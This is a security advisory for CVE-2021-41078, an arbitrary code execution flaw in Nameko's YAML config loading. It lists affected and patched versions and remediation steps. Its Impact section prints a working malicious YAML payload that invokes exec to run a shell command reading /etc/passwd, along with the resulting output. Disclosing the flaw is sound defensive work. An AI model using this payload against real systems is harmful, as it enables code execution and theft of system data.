---
id: CVE-2021-41078
aliases:
  - GHSA-6p52-jr3q-c94g
  - PYSEC-2021-383
title: Nameko Arbitrary code execution due to YAML deserialization
summary: Nameko Arbitrary code execution due to YAML deserialization
severity: high
cvss: 8.6
cvssVector: 'CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H'
vendor: nameko
product: nameko
ecosystem: pip
affected:
  - nameko < 2.14.0
  - 'nameko >= 3.0.0rc0, < 3.0.0rc10'
patched:
  - nameko 2.14.0
  - nameko 3.0.0rc10
published: '2021-10-19'
updated: '2026-07-08'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-6p52-jr3q-c94g'
references:
  - url: 'https://github.com/nameko/nameko/security/advisories/GHSA-6p52-jr3q-c94g'
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2021-41078'
  - url: 'https://github.com/nameko/nameko'
  - url: 'https://github.com/nameko/nameko/releases/tag/v2.14.0'
  - url: 'https://github.com/nameko/nameko/releases/tag/v3.0.0-rc10'
  - url: >-
      https://github.com/pypa/advisory-database/tree/main/vulns/nameko/PYSEC-2021-383.yaml
tags:
  - osv
  - pip
  - exploit-available
epss: 0.01537
epssPercentile: 0.73842
ingestedAt: '2026-07-08T18:25:46.496Z'
exploits:
  github: 1
  githubRepos:
    - 'https://github.com/s-index/CVE-2021-41078'
  checkedAt: '2026-09-27T10:33:25.753Z'
exploitAvailable: true
---

## Overview

### Impact

Nameko can be tricked to perform arbitrary code execution when deserialising a YAML config file. Example:

``` yaml
# malicious.yaml
!!python/object/new:type
args: ['z', !!python/tuple [], {'extend': !!python/name:exec }]
listitems: "__import__('os').system('cat /etc/passwd')"
```

``` shell
$ nameko run --config malicious.yaml test
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
... 
```

### Patches

The problem was fixed in https://github.com/nameko/nameko/pull/722 and released in version 2.14.0, and in rc10 of the v3 pre-release.

Versions prior to 2.14.0, and v3.0.0rc0 through v3.0.0rc9 are still vulnerable.

### Workarounds

The vulnerability is exploited by config files with malicious content. It can be avoided by only using config files that you trust.

## Affected packages

- `nameko < 2.14.0`
- `nameko >= 3.0.0rc0, < 3.0.0rc10`

## Remediation

Upgrade to a patched release:

- `nameko 2.14.0`
- `nameko 3.0.0rc10`